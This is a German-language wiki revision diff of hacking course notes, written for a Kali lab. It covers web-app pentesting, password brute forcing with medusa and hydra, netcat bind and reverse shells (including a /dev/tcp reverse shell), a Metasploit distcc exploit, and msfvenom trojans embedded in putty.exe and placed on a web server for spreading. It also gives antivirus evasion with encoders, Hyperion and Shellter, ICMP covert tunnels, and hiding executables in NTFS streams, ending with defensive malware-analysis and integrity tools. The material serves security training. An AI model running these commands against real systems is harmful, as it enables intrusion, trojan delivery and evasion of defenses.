-  apt-get install ufw +<code bash> 
-    ufw enable +apt-get install ufw 
-    ufw allow 80 +ufw enable 
-    ufw allow 9392 +ufw allow 80 
-    ufw allow 22 +ufw allow 9392 
-     +ufw allow 22 
- ====== Phasen eines Systemangriffs ====== +</code> 
-{{ :andre:schulung:hacking:phasen.png?600 | }} + 
-{{ :andre:schulung:hacking:phasen2.png?600 | }}+====== Web-Anwendungs-Pentesting ====== 
 +Ein eigenständiges großes Themenfeld, das im Lab am besten gegen absichtlich verwundbare Web-Apps geübt wird (z. B. **DVWA**, **OWASP Juice Shop**, **bWAPP**). 
 + 
 +==== Burp Suite ==== 
 +Proxy zwischen Browser und Webanwendung, um Requests abzufangen, zu manipulieren und erneut zu senden. 
 +<code bash> 
 +burpsuite & 
 +</code> 
 +Browser-Proxy auf 127.0.0.1:8080 stellen, Burp-CA-Zertifikat importieren, danach im Reiter "Proxy -> Intercept" den Traffic mitschneiden. "Repeater" zum gezielten Wiederholen einzelner Requests, "Intruder" für automatisiertes Fuzzing von Parametern. 
 + 
 +==== OWASP Top 10 (Auswahl mit Praxisbezug) ==== 
 +^ Schwachstelle ^ Kurzbeschreibung ^ Test-Ansatz ^ 
 +| SQL-Injection | Eingaben werden ungeprüft in SQL-Queries übernommen | `sqlmap -u "http://<Ziel>/page?id=1" --batch --dbs` | 
 +| Cross-Site Scripting (XSS) | Eingaben werden ungeprüft im Browser anderer Nutzer ausgeführt | Testpayload `<script>alert(1)</script>` in Formularfelder/URL-Parameter | 
 +| Broken Access Control | Fehlende Berechtigungsprüfung, z. B. IDOR | Manuelles Durchprobieren von Objekt-IDs in URLs/Requests | 
 +| Security Misconfiguration | Standard-Logins, offene Admin-Panels, Debug-Modus aktiv | Verzeichnis-/Default-Login-Scans, z. B. mit `gobuster` | 
 + 
 +<code bash> 
 +gobuster dir -u http://<Ziel-IP> -w /usr/share/wordlists/dirb/common.txt 
 +</code> 
 + 
 +Fazit: Web-App-Pentesting erfordert im Gegensatz zu klassischem Netzwerk-Pentesting meist manuelle Analyse der Anwendungslogik – automatisierte Scanner (z. B. `nikto`, ZAP) liefern nur einen ersten Anhaltspunkt. 
 + 
 +====== Phasen eines Systemangriffs ====== 
 +{{ :andre:schulung:hacking:phasen.png?600 |}} 
 +{{ :andre:schulung:hacking:phasen2.png?600 |}}
  
 ===== Zugang verschaffen ===== ===== Zugang verschaffen =====
 ==== Default Logins mit msf scannen ==== ==== Default Logins mit msf scannen ====
-  use auxiliary/scanner/postgres/postgres_login +<code bash> 
-  set RHOSTS <Ziel-IP> +use auxiliary/scanner/postgres/postgres_login 
-  run +set RHOSTS <Ziel-IP> 
-postgres_login anpassen, wenn Passwörter bekannt sind +run 
-  show options +</code> 
-  PASS_FILE  -> Dateipfad merken und Datei mit bekannten PW ergänzen + 
-                Im Ordner der Datei sind mehrere Dateien anderer Default-Passwort-Listen +postgres_login anpassen, wenn Passwörter bekannt sind
-  USER_FILE  -> Dateipfad merken und Datei mit bekannten User ergänzen +<code bash> 
-  +show options 
 +PASS_FILE  -> Dateipfad merken und Datei mit bekannten Passwörtern ergänzen 
 +#               Im Ordner der Datei liegen mehrere weitere Default-Passwort-Listen 
 +USER_FILE  -> Dateipfad merken und Datei mit bekannten Usern ergänzen 
 +</code> 
 ==== Mail-Hack mit medusa ==== ==== Mail-Hack mit medusa ====
-  How it works: medusa -M smtp -q +How it works: <code bash>medusa -M smtp -q</code> 
-  +
 Vorbereitung: Vorbereitung:
-  * Liste mit bekannten mailadressen (txt, pro Zeile eine Mailadresse) -> user.list +  * Liste mit bekannten Mailadressen (txt, pro Zeile eine Mailadresse) -> user.list 
-  * Liste mit warscheinlichen Passwörter (txt, pro Zeile ein Passwort) -> pass.list+  * Liste mit wahrscheinlichen Passwörtern (txt, pro Zeile ein Passwort) -> pass.list 
 + 
 +Starten: 
 +<code bash> 
 +medusa -h <smtp-Mailserver-FQDN> -U user.list -P pass.list -s -M smtp 
 +</code>
  
-Starte 
-  medusa -h <smtp-Mailserver FQDN> -U user.list -P pass.list -s -M smtp 
-   
 ==== Hydra ==== ==== Hydra ====
-  hydra -l Nutzer – P Passwortliste.txt ftp://192.168.0.1 +<code bash> 
-  xhydra startet die GUI +hydra -l Nutzer -P Passwortliste.txt ftp://192.168.0.1 
-  +xhydra    # startet die GUI 
 +</code> 
 ===== Backdoor mit nc ===== ===== Backdoor mit nc =====
-Siehe: https://www.gonicus.de/aktuelles/20181219-netcat/ \\+Siehe: https://www.gonicus.de/aktuelles/20181219-netcat/ 
 === nc als Server auf Kali starten === === nc als Server auf Kali starten ===
-<code bash>ncat -lp 4444        # Startet netcat als Server auf Port 4444</code> 
-   
-unter Kali die Datei /usr/share/windows-binaries/nc.exe auf einen Winows-PC kopieren und in der cmd ausführen.  
-<code bashc:\nc>nc <SERVER-IP> 4444 # startet einfache Verbindung</code> 
-   
-**Datei mit nc übertragen**  \\ 
 <code bash> <code bash>
-  c:\nc>nc -nlvp > wget.exe 4444    # startet nc als Server unter Port 4444, schreibt aber den std Out in die Datei wget.exe +ncat -lp 4444        # Startet netcat als Server auf Port 4444 
-  nc <Server-IP> 4444 <  /usr/share/windows-binaries/wget.exe   # nc auf Kali starten und die Datei wget.exe übertragen+</code> 
 + 
 +Unter Kali die Datei /usr/share/windows-binaries/nc.exe auf einen Windows-PC kopieren und in der cmd ausführen: 
 +<code bash> 
 +c:\nc>nc <SERVER-IP> 4444 
 +</code> 
 + 
 +**Datei mit nc übertragen** 
 +<code bash> 
 +c:\nc>nc -nlvp 4444 > wget.exe          # startet nc als Server auf Port 4444, schreibt stdout in die Datei wget.exe 
 +nc <Server-IP> 4444 < /usr/share/windows-binaries/wget.exe   # nc auf Kali starten und die Datei wget.exe übertragen
 </code> </code>
  
 === Bind-Shell mit nc === === Bind-Shell mit nc ===
 <code bash> <code bash>
-ncat -nlvp 4444 -e /bin/bash      # startet nc und piped /bin/bash darüber +ncat -nlvp 4444 -e /bin/bash      # startet nc und pipet /bin/bash darüber 
-c:\nc>nc <Server-IP> 4444         # startet nc auf Windows und stellt so die Shell des Servers zur Verfügung+c:\nc>nc <Server-IP> 4444          # startet nc auf Windows und stellt so die Shell des Servers zur Verfügung
  
-c:\nc>nc -nlvp 4444 -e cmd.exe    # startet nc auf Windows und piped cmd.exe +c:\nc>nc -nlvp 4444 -e cmd.exe     # startet nc auf Windows und pipet cmd.exe 
-ncat <Server-IP> 4444             # startet nc auf Linix und stellt die cmd des Servers zur Verfügung+ncat <Server-IP> 4444              # startet nc auf Linux und stellt die cmd des Servers zur Verfügung
 </code> </code>
  
 === Reverse Shell mit nc === === Reverse Shell mit nc ===
 <code bash> <code bash>
-ncat -nlvp 443                    # startet einen Listener auf dem Server +ncat -nlvp 443                     # startet einen Listener auf dem Server 
-ncat -nv <Server-IP> -e /bin/bash # startet auf dem Client nv und tunnelt eine bash durch den Port 443 zum Server+ncat -nv <Server-IP> 443 -e /bin/bash   # startet auf dem Client nc und tunnelt eine bash durch Port 443 zum Server
  
 bash -i >& /dev/tcp/<Server-IP>/443 0>&  # startet eine Shell und tunnelt sie zur Server-IP Port 443 bash -i >& /dev/tcp/<Server-IP>/443 0>&  # startet eine Shell und tunnelt sie zur Server-IP Port 443
 </code> </code>
  
-===== Privilegien Eskalation ===== +===== Privilegien-Eskalation ===== 
-   +<code bash> 
-  msf starten und in den passenden Workspace wechseln  +msf starten und in den passenden Workspace wechseln 
-  Falls vorhanden in den vuls nach distcc suchen (vulns) +# In den vulns nach distcc suchen (Befehl: vulns) 
-  Nach einer passenden Exploit suchen (search distcc) +Nach passendem Exploit suchen (search distcc) 
-  Exploit verwenden (use exploit/unix/misc/distcc_exec) +use exploit/unix/misc/distcc_exec 
-  RHOST setzen (set RHOST <Client-IP>) +set RHOST <Client-IP> 
-  Payload setzten (set PAYLOAD cmd/unix/reverse_bash) +set PAYLOAD cmd/unix/reverse_bash 
-  ausführen (exploit) +exploit 
-   +</code>
-==== meterpreter für Windows ==== +
-Erstellen des Trojaner um aud einem Windows-Zielsystem eine meterpreter-Shell zu starten die sich zu unserem Server verbindet +
-  msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -o mp_shell.exe +
-    LHOST= IP des Kali Angreifer +
-    LPORT= Port der Komunikation (muss an der FW offen sein) +
-    -f   = Art der Ergebnisdatei +
-    -o   = Name der Ergebnisdatei+
  
-Trojaner zB auf einem Webserver zur Verfügung stellen. \\ +==== Meterpreter für Windows ==== 
-Auf Kali eine msfconsole mit Multihandler starten +Erstellen des Trojaners, um auf einem Windows-Zielsystem eine Meterpreter-Shell zu starten, die sich zu unserem Server verbindet: 
-  msfconsole +<code bash> 
-  use exploit/multi/handler +msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -o mp_shell.exe 
-  set payload windows/meterpreter_reverse_https    Nutzt das https Payload +LHOST = IP des Kali-Angreifers 
-  set lhost <eigene-IP+# LPORT = Port der Kommunikation (muss an der FW offen sein
-  set lport 443   +-f    = Art der Ergebnisdatei 
-  exploit +# -o    = Name der Ergebnisdatei 
-   +</code>
-Jetzt kann die Datei auf dem Windows-Ziel gestartet werden. In der meterpreter-Shell wird eine neue Shell (von Windowsangezeigt. \\  +
-Anmerkung: Einfacher geht es mit  SET: {{ :andre:schulung:hacking:bypass_windows_defender_and_fake_image_for_reverse_shell._-_hacking_blog.pdf |Bypass Windows Defender and Fake image for Reverse shell}}+
  
-==== das gleiche für Linux ==== +Trojaner z. B. auf einem Webserver zur Verfügung stellen. Auf Kali eine msfconsole mit Multihandler starten: 
-  msfvenom --payload linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=45678 --format py --bad-chars '\x00\x09\x20\x0a\xff' -o mp_shell.py +<code bash> 
-   +msfconsole 
-Externe Module nachladen: load (2xtab) \\+use exploit/multi/handler 
 +set payload windows/meterpreter/reverse_https    # nutzt das HTTPS-Payload 
 +set lhost <eigene-IP> 
 +set lport 443 
 +exploit 
 +</code> 
 + 
 +Jetzt kann die Datei auf dem Windows-Ziel gestartet werden. In der Meterpreter-Shell wird eine neue Shell (von Windows) angezeigt.\\ 
 +Anmerkung: Einfacher geht es mit SET: {{ :andre:schulung:hacking:bypass_windows_defender_and_fake_image_for_reverse_shell._-_hacking_blog.pdf |Bypass Windows Defender and Fake Image for Reverse Shell}} 
 + 
 +==== Das Gleiche für Linux ==== 
 +<code bash> 
 +msfvenom --payload linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=45678 --format py --bad-chars '\x00\x09\x20\x0a\xff' -o mp_shell.py 
 +</code>
  
 +Externe Module nachladen: `load` (2x Tab)\\
 Weitere Infos: https://null-byte.wonderhowto.com/how-to/simplify-payload-creation-with-msfpc-msfvenom-payload-creator-0180240/ Weitere Infos: https://null-byte.wonderhowto.com/how-to/simplify-payload-creation-with-msfpc-msfvenom-payload-creator-0180240/
  
 ===== Malware ===== ===== Malware =====
-=== Macro-Virus ===  +=== Macro-Virus === 
-mit SET: {{ :andre:schulung:hacking:virus_inside_ms_word_doc.pdf |how to create obfuscate Virus inside Microsoft Word Document}}+Mit SET: {{ :andre:schulung:hacking:virus_inside_ms_word_doc.pdf |How to create obfuscated Virus inside Microsoft Word Document}}
  
 === Trojaner === === Trojaner ===
-1. Carrier Applikation bereitstellen. Dies ist eine Applikation in der der Trojaner eingebaut werden soll. +1. Carrier-Applikation bereitstellen. Dies ist eine Applikationin die der Trojaner eingebaut werden soll.
 <code bash> <code bash>
-msfvenom -p windows/meterpreter_reverse_tcp LMHOST=192.168.178.124 LPORT=8080 -x /hom/home/andre/putty.exe -k -f exe -o /var/www/html/putty2.exe+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.178.124 LPORT=8080 -x /home/andre/putty.exe -k -f exe -o /var/www/html/putty2.exe
 </code> </code>
-  * -p definiert den Payload -> eine TCP reverse Shell auf Windows +  * -p definiert den Payload -> eine TCP-Reverse-Shell auf Windows 
-  * LMHOST ist die vom Ziel erreichbare IP des Kali+  * LHOST ist die vom Ziel erreichbare IP des Kali
   * LPORT ist der zur Kommunikation eingesetzte Port   * LPORT ist der zur Kommunikation eingesetzte Port
-  * -x welcher Carrier (32Bit) wird bereit gestellt +  * -x welcher Carrier (32-Bitbereitgestellt wird 
-  * -k Der Carrier soll auch ausgeführt werden (ohne k wird nur der Trojaner aktiviert) +  * -k der Carrier soll auch ausgeführt werden (ohne -k wird nur der Trojaner aktiviert) 
-  * -f Die Output-Datei soll einene exe sein+  * -f die Output-Datei soll eine exe sein
   * -o Ziel der Output-Datei (idealerweise gleich der Webserver, zur einfachen Verbreitung)   * -o Ziel der Output-Datei (idealerweise gleich der Webserver, zur einfachen Verbreitung)
  
-2. Meterpreter-Session auf Kali starten +2. Meterpreter-Session auf Kali starten
-  msfconsole +<code bash> 
-  use exploit/multi/handler +msfconsole 
-  set payload windows/meterpreter_reverse_tcp +use exploit/multi/handler 
-  set LHOST 192.168.178.124 +set payload windows/meterpreter/reverse_tcp 
-  set LPORT 8080 +set LHOST 192.168.178.124 
-  run +set LPORT 8080 
-   +run 
-3. Trojaner auf Zielsystem bereitstellen und ausführen +</code> 
-Wird putty auf Windows ausgefüherstatet zusätzlich eine rev. Shell. Diese beendet sich aber wenn putty geschlossen wird. Daher muss die Shell jetzt an ein andese Programm gehängt werden.+ 
 +3. Trojaner auf Zielsystem bereitstellen und ausführen.\\ 
 +Wird putty auf Windows ausgeführtstartet zusätzlich eine reverse Shell. Diese beendet sich aberwenn putty geschlossen wird. Daher muss die Shell an ein anderes Programm gehängt werden. 
 + 
 +4. Von putty auf "explorer" umhängen: 
 +<code bash> 
 +ps -S explorer      # Die PID von explorer finden -> hier z.B. 336 
 +migrate 336 
 +</code>
  
-4. Von putty auf "explorer" umhängen +Jetzt steht eine Shell zum Zielsystem zur Verfügung.
-  ps -S explorer      # Die PID von explorer finden -> hier 336 +
-  migrate 336 +
-   +
-Jetzt steht eine Shell zum Zielsystem zur Verfügung+
  
 ==== Payloads tarnen ==== ==== Payloads tarnen ====
 Methoden der Tarnung: Methoden der Tarnung:
   * Encoder verändern den Binärcode   * Encoder verändern den Binärcode
-  * Packer zum komprimieren, dekomprimieren sich bei Ausführung selbstständig +  * Packer komprimieren, dekomprimieren sich bei Ausführung selbstständig 
-  * Crypter verschlüsseln  +  * Crypter verschlüsseln 
-  * Embedder und Wrapper betten den Schadcod in ein harmloses Programm ein+  * Embedder und Wrapper betten den Schadcode in ein harmloses Programm ein
   * Customized Code ist selbst geschriebener Code, dessen Signatur noch nicht bekannt ist   * Customized Code ist selbst geschriebener Code, dessen Signatur noch nicht bekannt ist
  
 === Encoder === === Encoder ===
-  msfvenom -l encoder +<code bash> 
-Verwenden wir als Beispiel "Shikata ga nai+msfvenom -l encoders 
-  msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -e x86/shikata_ga_nai -i 130 -o /var/www/html/putty_shi.exe +</code> 
-  * Bekannter Befehl um in putty einen Trojaner zu betten+Verwenden wir als Beispiel "Shikata Ga Nai"
 +<code bash> 
 +msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -e x86/shikata_ga_nai -i 130 -o /var/www/html/putty_shi.exe 
 +</code> 
 +  * Bekannter Befehlum in putty einen Trojaner zu betten
   * -e Auswahl des Encoders   * -e Auswahl des Encoders
-  * -i Anzahl an Iterationen+  * -i Anzahl der Iterationen
  
-Mehrere Encoder nacheinander verwenden +Mehrere Encoder nacheinander verwenden
-  msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -e x86/countdown .i 10 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 130 -o double-ent.exe +<code bash> 
-  * Verwendet zuerst den Encoder countdown mit 10 Iterationen und danach shikata mit 130 Iterationen+msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -e x86/countdown -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 130 -o double-ent.exe 
 +</code> 
 +  * Verwendet zuerst den Encoder countdown mit 10 Iterationen und danach shikata_ga_nai mit 130 Iterationen
   * Datei wird als double-ent.exe lokal gespeichert   * Datei wird als double-ent.exe lokal gespeichert
-Fazit: Encoder sind nicht sehr hilfreich um an Virenscanner vorbei zu kommen. Selbst der Einsatz von mehreren Encodern bringt nicht viel.+ 
 +Fazit: Encoder sind nicht sehr hilfreichum an Virenscannern vorbeizukommen. Selbst der Einsatz mehrerer Encoder bringt kaum etwas.
  
 === Verschlüsseln mit Hyperion === === Verschlüsseln mit Hyperion ===
-Die 32Bit-Umgebung von wine muss installiert sein (Siehe Vorbereitungen) +Die 32-Bit-Umgebung von Wine muss installiert sein (siehe Vorbereitungen)
-  cd /usr/share/windows-resources/hyperion +<code bash> 
-  wine hyperion.exe /var/www/html/putty2.exe /var/www/html/putty-crypt.exe+cd /usr/share/windows-resources/hyperion 
 +wine hyperion.exe /var/www/html/putty2.exe /var/www/html/putty-crypt.exe 
 +</code>
 Fazit: Hyperion ist altbekannt und wird fast immer als Virus erkannt. Fazit: Hyperion ist altbekannt und wird fast immer als Virus erkannt.
  
 ===== Shellter ===== ===== Shellter =====
-  apt install shellter   # Geht nicht auf Kali, dafür auf Parrot schon installiert +<code bash> 
-   +apt install shellter   # Geht nicht auf Kali, dafür auf Parrot schon installiert 
-  Operation-Mode:+</code> 
-  PE Target     Der Pfad zur *.exe die infiziert werden soll  +  Operation-Mode:
-Alle weiteren Eingaben sind selbsterklärend. Das Ergebnis steht dann in dem Ordner /usr/share/windows-resources/shellter/ zur Verfügung. Unter /usr/share/windows-resources/shellter/Shellter_Backups findet man ein Backup der nicht infizierten Originaldatei. +  PE Target: Pfad zur *.exedie infiziert werden soll 
-Fazit: Weniger als die Hälfte der Virenscanner erkennen diese Datei als Virus+ 
 +Alle weiteren Eingaben sind selbsterklärend. Das Ergebnis steht dann im Ordner /usr/share/windows-resources/shellter/ zur Verfügung. Unter /usr/share/windows-resources/shellter/Shellter_Backups findet man ein Backup der nicht infizierten Originaldatei.\\ 
 +Fazit: Weniger als die Hälfte der Virenscanner erkennt diese Datei als Virus.
  
 ===== Root Kits ===== ===== Root Kits =====
-  * Kernel Rootkits (LKM) Laden sich als Modul in den Kernel nach und manipulieren Systemaufrufe +  * Kernel-Rootkits (LKM) laden sich als Modul in den Kernel nach und manipulieren Systemaufrufe 
-  * Userland Rootkits verwenden manipulierte DLL die über eine API eines Programms dessen Funktion ändern oder erweitern+  * Userland-Rootkits verwenden manipulierte DLLs, die über eine API eines Programms dessen Funktion ändern oder erweitern
  
-===== ICPM Tunneling Covert Channel ===== +===== ICMP-Tunneling Covert Channel ===== 
-Arbeiten auf allen Clients +Auf allen Clients
-  apt install gcc git make +<code bash> 
-  cd opt +apt install gcc git make 
-  git clone https://github.com/DhavalKapil/icmptunnel +cd /opt 
-  make +git clone https://github.com/DhavalKapil/icmptunnel 
-   +make 
-Am Server (Kali) +</code> 
-  cd /op7/icmptunnel + 
-  ./icmptunnel -s 10.0.1.1    # Immer diese IP angeben das ist die ICMP-Router-IP +Am Server (Kali)
-  ifconfig                    # taucht eine tun auf, läuft der Server +<code bash> 
-   +cd /opt/icmptunnel 
-Auf dem Ziel +./icmptunnel -s 10.0.1.1    # Immer diese IP angebendas ist die ICMP-Router-IP 
-  vim /opt/icmptunnel//client.sh +ifconfig                     # taucht ein tun0 auf, läuft der Server 
-  # route add -host <server> gw <gateway> dev <interface    # Zeile auskommentieren +</code> 
-  ./icmptunnel -c <Kali-IP> + 
-   +Auf dem Ziel
-Ab jetzt wird die Kommunikation zwischen der Servern als ICMP-Pakete getarnt+<code bash> 
 +vim /opt/icmptunnel/client.sh 
 +# route add -host <server> gw <gateway> dev <interface>   # Zeile auskommentieren 
 +./icmptunnel -c <Kali-IP> 
 +</code> 
 + 
 +Ab jetzt wird die Kommunikation zwischen den Servern als ICMP-Pakete getarnt.
  
 ===== Alternate Data Streams (ADS) ===== ===== Alternate Data Streams (ADS) =====
 Für Windows NTFS: Daten an harmlosen Dateien anhängen und so verstecken. Für Windows NTFS: Daten an harmlosen Dateien anhängen und so verstecken.
-  Textdatei erstellen: harmlos.txt und speichern +  Textdatei erstellen: harmlos.txt und speichern 
-  cmd starten und in das Verzeichnis der eben erstellten Datei wechseln +  cmd starten und in das Verzeichnis der eben erstellten Datei wechseln 
-  notepad harmlos.txt:geheim.txt  -> Die Datei geheim.txt wird erstellt und kann bearbeitet werden +  - <code bash>notepad harmlos.txt:geheim.txt</code>  -> Die Datei geheim.txt wird erstellt und kann bearbeitet werden 
-Die neue Datei geheim.txt ist nirgendwo zu sehen. Auch hat sich der Inhalt von harmlos.txt nicht geändert. Mit dem Befehl + 
-  notepad harmlos.txt:geheim.txt +Die neue Datei geheim.txt ist nirgendwo sichtbar. Auch der Inhalt von harmlos.txt hat sich nicht geändert. Mit dem Befehl 
-kann wieder auf den versteckten Inhalt zugegriffen werden. Das geht auch mit ausführbaren Inhalt +<code bash> 
-  type c:\ordner\ virus.exe c:\ordner\harmlos.txt:virus.exe +notepad harmlos.txt:geheim.txt 
-  start harmlos.txt:virus.exe        # führt virus.exe aus +</code> 
-  dir -r                             # zeigt Ordnerinhalt inklusive ADS (ab Win 7)+kann wieder auf den versteckten Inhalt zugegriffen werden. Das geht auch mit ausführbarem Inhalt
 +<code bash> 
 +type c:\ordner\virus.exe c:\ordner\harmlos.txt:virus.exe 
 +start harmlos.txt:virus.exe        # führt virus.exe aus 
 +dir -r                             # zeigt Ordnerinhalt inklusive ADS (ab Win 7) 
 +</code>
  
 ===== Keylogger und Spyware ===== ===== Keylogger und Spyware =====
Zeile 494: Zeile 662:
   * [[https://dzone.com/articles/how-to-create-a-keylogger-for-linux-using-python|Keylogger in Python schreiben]]   * [[https://dzone.com/articles/how-to-create-a-keylogger-for-linux-using-python|Keylogger in Python schreiben]]
  
-====== Malware Analyse ====== +====== Malware-Analyse ====== 
-==== Statische Malare Analyse (Code-Analyse) ==== +==== Statische Malware-Analyse (Code-Analyse) ==== 
-Programm dekompilieren und Quellcode analysieren oder nach Ausrücken im Code suchen mit den Tools:+Programm dekompilieren und Quellcode analysieren oder nach Ausdrücken im Code suchenmit den Tools:
   * strings (Windows für die CMD)   * strings (Windows für die CMD)
   * pestudio (Windows mit GUI)   * pestudio (Windows mit GUI)
  
-==== Dynamische Malware Analyse (Laufzeitanalyse) ==== +==== Dynamische Malware-Analyse (Laufzeitanalyse) ==== 
-Verhalten eines Sample (Schad-Programm) in Echtzeit beobachten. Dies muss in einer Sandbox durchgeführt werden.+Verhalten eines Samples (Schadprogramm) in Echtzeit beobachten. Dies muss in einer Sandbox durchgeführt werden.
   * JOESandbox   * JOESandbox
-  * AnyRun +  * AnyRun
  
 ==== Verdächtiges Verhalten analysieren ==== ==== Verdächtiges Verhalten analysieren ====
-Auf Windows-Clients muss geprüft werden: +Auf Windows-Clients muss geprüft werden:
   * Virencheck   * Virencheck
-    * Offline via Rescue-Disk (zB [[https://www.kaspersky.de/downloads/thank-you/free-rescue-disk| Kasperky Rescue Disk]]) +    * Offline via Rescue-Disk (z. B. [[https://www.kaspersky.de/downloads/thank-you/free-rescue-disk|Kaspersky Rescue Disk]]) 
-    * Antivirus-Tools testen mit dem eicar-String  +    * Antivirus-Tools testen mit dem EICAR-String: 
-        * X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* +      * X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 
-        * oder mit auf der eicar Homepage vorgefertigten Dateien+      * oder mit auf der EICAR-Homepage vorgefertigten Dateien
   * Prozessaktivitäten   * Prozessaktivitäten
-      * Taskmanager aufrufen und die Spalten Prozessname und Begehlszeile hinzu fügen +    * Taskmanager aufrufen und die Spalten Prozessname und Befehlszeile hinzufügen 
-      * Der [[https://docs.microsoft.com/en-us/sysinternals/|Process-Explorer]]. Er kann Prozesse mit Virus-Total Checken +    * Der [[https://docs.microsoft.com/en-us/sysinternals/|Process Explorer]] kann Prozesse mit VirusTotal prüfen 
-      * Der [[https://docs.microsoft.com/en-us/sysinternals/|Process-Monitor]] gibt weitere Auskünfte über laufende Prozesse +    * Der [[https://docs.microsoft.com/en-us/sysinternals/|Process Monitor]] gibt weitere Auskünfte über laufende Prozesse 
-  * Netzwerkaktivitäten  +  * Netzwerkaktivitäten 
-      * netstat -nap tcp für die CMD +    `netstat -nap tcpfür die CMD 
-      * Als Admin eine CMD starten und netstat -nabp tcp -> zeigt auch die zugehörigen Prozesse +    * Als Admin eine CMD starten und `netstat -nabp tcp-> zeigt auch die zugehörigen Prozesse 
-      unter Linux: netstat -tlpn +    Unter Linux: `netstat -tlpn` 
-      * Besser ist es ein externes Tool zu verwenden wie zB [[https://www.nirsoft.net/utils/cports.html|Nirsoft currports]] +    * Besser ein externes Tool wie [[https://www.nirsoft.net/utils/cports.html|Nirsoft CurrPorts]] 
-      * DNS und die Datei hosts checken. Dazu eignet sich das Tool [[https://www.nirsoft.net/utils/dns_query_sniffer.html|Query Sniffer]] an+    * DNS und die hosts-Datei checken, dazu eignet sich [[https://www.nirsoft.net/utils/dns_query_sniffer.html|DNS Query Sniffer]]
   * Windows Registry   * Windows Registry
-      * Der [[https://www.nirsoft.net/utils/regscanner.html|Reg Scanner]] ist eine bessere Alternative als regedit +    * Der [[https://www.nirsoft.net/utils/regscanner.html|RegScanner]] ist eine bessere Alternative als regedit 
-      * [[https://sourceforge.net/projects/regshot/|regshot]] erstellt einen Snapshot der Registry. Danach können weitere Shots mit der Referenz verglichen werden.+    * [[https://sourceforge.net/projects/regshot/|Regshot]] erstellt einen Snapshot der Registryweitere Shots können danach mit der Referenz verglichen werden
   * Autostart-Einträge   * Autostart-Einträge
-      * Taskmanager +    * Taskmanager 
-      * Bessere Alternative: [[https://docs.microsoft.com/de-de/sysinternals/downloads/autoruns|Autoruns]] zusammen mit Process-Explorer +    * Bessere Alternative: [[https://docs.microsoft.com/de-de/sysinternals/downloads/autoruns|Autoruns]] zusammen mit Process Explorer 
-  * Windows Dienste+  * Windows-Dienste
     * services.msc     * services.msc
     * Alternative: [[http://foxplanet.de/]] -> Service Manager     * Alternative: [[http://foxplanet.de/]] -> Service Manager
   * Treiber   * Treiber
-    * msinfo.exe +    * msinfo32.exe 
-    * Bessere alternative: [[https://www.nirsoft.net/utils/driverview.html|Driver View]]+    * Bessere Alternative: [[https://www.nirsoft.net/utils/driverview.html|DriverView]]
   * Integrität und Signaturen   * Integrität und Signaturen
-    * sigverif in einer CMD ausführen +    * `sigverifin einer CMD ausführen 
-  * Einsatz von Sniffer +  * Einsatz von Sniffern 
-    * Der Sniffer [[https://www.malwarebytes.com/mwb-download/thankyou/|Malwarebites]] zeigt PUP und PUA an und kann diese reparieren (gibt es auch für Android) +    * [[https://www.malwarebytes.com/mwb-download/thankyou/|Malwarebytes]] zeigt PUP und PUA an und kann diese reparieren (gibt es auch für Android) 
-    * Der [[https://github.com/dragokas/hijackthis/|HijackThis]] überprüft ob Betriebssystem-Einstellungen von Malware geändert wurden.+    * [[https://github.com/dragokas/hijackthis/|HijackThis]] überprüftob Betriebssystem-Einstellungen von Malware geändert wurden
  
 +===== Integrität mit Tripwire prüfen =====
 +<code bash>
 +apt install tripwire
 +tripwire --init
 +vim /etc/tripwire/twpol.txt
 +  # /var/run
 +  # /var/log
 +  # /root/.* (außer bashrc, bash_* und ICE*)
 +  # /proc
 +twadmin -m P /etc/tripwire/twpol.txt
 +tripwire --init
 +tripwire --check
 +</code>
 +Entsprechend der Fehlermeldungen muss die twpol.txt angepasst werden. Danach ein kleines Script schreiben, um via Cronjob das Ergebnis zu mailen.
  
-===== integrität mit Tripwire prüfen ===== +===== Sheep-Dip-Systeme ===== 
-  apt install tripwire +Ein System (idealerweise eine VM), das mit üblichen Monitoringund Sicherheits-Tools ausgestattet ist. In dieser vom Firmennetz abgetrennten Stand-Alone-Maschine können Daten und Programme getestet werdenohne dass Produktivsysteme beeinflusst werden können.\\
-  tripwire --init +
-  vim /etc/tripwire/twpol.txt +
-    # /var/run +
-    # /var/log +
-    # /root/.* (außer bashrc bash_* und ICE*) +
-    # /proc +
-  twadmin -m P /etc/tripwire//twpol.txt +
-  tripwire --init +
-  tripwire --check +
-Entsprechend der Fehler muss die twpol.txt angepasst werden. Danach kleines Script schreiben um via Cronjob das Ergebnis zu mailen +
- +
-===== Sheep-Dip Systeme ===== +
-Ein System (idealerveise eine VM) die mit üblichen Monitoring und Sicherheits-Tolls ausgestattet ist. In dieser vom Firmennetz abgetrennten Stand-Alone Maschine können Daten und Programme getestet werden ohne das Produktivsysteme beeinflusst werden können. \\ +
 Siehe: http://sheepdip.sourceforge.net/ Siehe: http://sheepdip.sourceforge.net/
  
 ===== Sandboxen ===== ===== Sandboxen =====
   * Für Windows: [[https://sandboxie-plus.com/Sandboxie/|Sandboxie]]   * Für Windows: [[https://sandboxie-plus.com/Sandboxie/|Sandboxie]]
-  * Für Linux: [[https://firejail.wordpress.com/|FireJail]] Hier ein [[https://www.linux-bibel-oesterreich.at/2019/10/17/firejail-firetools-die-sandbox-fuer-anwendungen-und-prozesse-unter-linux/|HowTo]]+  * Für Linux: [[https://firejail.wordpress.com/|FireJail]], hier ein [[https://www.linux-bibel-oesterreich.at/2019/10/17/firejail-firetools-die-sandbox-fuer-anwendungen-und-prozesse-unter-linux/|HowTo]]
